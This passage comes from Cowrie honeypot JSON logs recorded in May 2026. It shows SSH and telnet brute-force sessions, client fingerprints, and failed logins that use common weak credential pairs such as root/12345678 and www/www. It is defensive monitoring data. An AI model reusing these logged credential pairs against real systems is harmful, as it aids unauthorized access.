d25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:52.480435Z","src_ip":"176.65.132.129","session":"2d701de46dd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:52.727917Z","src_ip":"176.65.132.129","session":"2d701de46dd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.4041588306427,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:53.774167Z","src_ip":"38.54.119.93","session":"c06465da65ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:53.812474Z","src_ip":"176.65.132.129","session":"2d701de46dd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48870,"dst_ip":"159.203.135.109","dst_port":23,"session":"96c9b330f29b","protocol":"telnet","message":"New connection: 38.60.198.128:48870 (159.203.135.109:23) [session: 96c9b330f29b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:54.541550Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51874,"dst_ip":"10.17.0.5","dst_port":22,"session":"09201730635a","protocol":"ssh","message":"New connection: 176.65.132.129:51874 (10.17.0.5:22) [session: 09201730635a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:55.730470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:55.734883Z","src_ip":"176.65.132.129","session":"09201730635a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:55.816532Z","src_ip":"176.65.132.129","session":"09201730635a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:56.063159Z","src_ip":"176.65.132.129","session":"09201730635a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:57.228420Z","src_ip":"176.65.132.129","session":"09201730635a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51902,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2dc77cacd84","protocol":"ssh","message":"New connection: 176.65.132.129:51902 (10.17.0.5:22) [session: c2dc77cacd84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:59.143021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:59.147675Z","src_ip":"176.65.132.129","session":"c2dc77cacd84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:59.229736Z","src_ip":"176.65.132.129","session":"c2dc77cacd84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":54646,"dst_ip":"159.203.135.109","dst_port":23,"session":"76b51e092ef8","protocol":"telnet","message":"New connection: 38.60.198.128:54646 (159.203.135.109:23) [session: 76b51e092ef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:59.247794Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:59.474782Z","src_ip":"176.65.132.129","session":"c2dc77cacd84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:00.559108Z","src_ip":"176.65.132.129","session":"c2dc77cacd84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":40432,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a9995e84b0f","protocol":"ssh","message":"New connection: 57.128.222.14:40432 (159.203.135.109:22) [session: 2a9995e84b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:01.237508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:01.241884Z","src_ip":"57.128.222.14","session":"2a9995e84b0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:01.346804Z","src_ip":"57.128.222.14","session":"2a9995e84b0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":34288,"dst_ip":"159.203.135.109","dst_port":23,"session":"af4cc499d44d","protocol":"telnet","message":"New connection: 64.227.82.147:34288 (159.203.135.109:23) [session: af4cc499d44d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:01.673588Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456@qwe","message":"login attempt [ubuntu/123456@qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:01.806849Z","src_ip":"57.128.222.14","session":"2a9995e84b0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51940,"dst_ip":"10.17.0.5","dst_port":22,"session":"58e254dfbaa6","protocol":"ssh","message":"New connection: 176.65.132.129:51940 (10.17.0.5:22) [session: 58e254dfbaa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:02.739324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:02.744665Z","src_ip":"176.65.132.129","session":"58e254dfbaa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:02.826733Z","src_ip":"176.65.132.129","session":"58e254dfbaa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:02.916124Z","src_ip":"57.128.222.14","session":"2a9995e84b0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":57754,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b2464d1386a","protocol":"telnet","message":"New connection: 64.227.82.147:57754 (159.203.135.109:23) [session: 0b2464d1386a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:02.921126Z"}
{"eventid":"cowrie.login.failed","username":"xcy","password":"123456","message":"login attempt [xcy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:03.074578Z","src_ip":"176.65.132.129","session":"58e254dfbaa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.07755160331726,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:04.117432Z","src_ip":"45.81.23.16","session":"eb6f9ce977a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:04.159305Z","src_ip":"176.65.132.129","session":"58e254dfbaa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.88934016227722,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:04.299075Z","src_ip":"38.60.198.128","session":"0e27db208d57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38666,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bcb8454ffd6","protocol":"ssh","message":"New connection: 176.65.132.129:38666 (10.17.0.5:22) [session: 1bcb8454ffd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:06.104090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:06.108417Z","src_ip":"176.65.132.129","session":"1bcb8454ffd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:06.190070Z","src_ip":"176.65.132.129","session":"1bcb8454ffd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:06.437307Z","src_ip":"176.65.132.129","session":"1bcb8454ffd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:07.582612Z","src_ip":"176.65.132.129","session":"1bcb8454ffd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38070,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7313ea3a598","protocol":"telnet","message":"New connection: 38.60.198.128:38070 (159.203.135.109:23) [session: b7313ea3a598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:08.485864Z"}
{"eventid":"cowrie.session.closed","duration":41.897942781448364,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:09.229867Z","src_ip":"38.60.198.128","session":"3abb51553812","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38670,"dst_ip":"10.17.0.5","dst_port":22,"session":"9082ef1b6f4f","protocol":"ssh","message":"New connection: 176.65.132.129:38670 (10.17.0.5:22) [session: 9082ef1b6f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:09.488370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:09.492672Z","src_ip":"176.65.132.129","session":"9082ef1b6f4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.0688328742980957,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:09.554603Z","src_ip":"38.60.198.128","session":"b7313ea3a598","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:09.577580Z","src_ip":"176.65.132.129","session":"9082ef1b6f4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:09.823755Z","src_ip":"176.65.132.129","session":"9082ef1b6f4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:10.912739Z","src_ip":"176.65.132.129","session":"9082ef1b6f4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":41672,"dst_ip":"159.203.135.109","dst_port":23,"session":"217de4de128b","protocol":"telnet","message":"New connection: 38.60.198.128:41672 (159.203.135.109:23) [session: 217de4de128b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:11.152055Z"}
{"eventid":"cowrie.session.closed","duration":36.80082964897156,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:12.415345Z","src_ip":"38.60.198.128","session":"4fe020a1ed0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38686,"dst_ip":"10.17.0.5","dst_port":22,"session":"a932d9a928a8","protocol":"ssh","message":"New connection: 176.65.132.129:38686 (10.17.0.5:22) [session: a932d9a928a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:13.056046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:13.059937Z","src_ip":"176.65.132.129","session":"a932d9a928a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:48:13.141593Z","src_ip":"176.65.132.129","session":"a932d9a928a8","protocol":"ssh"}
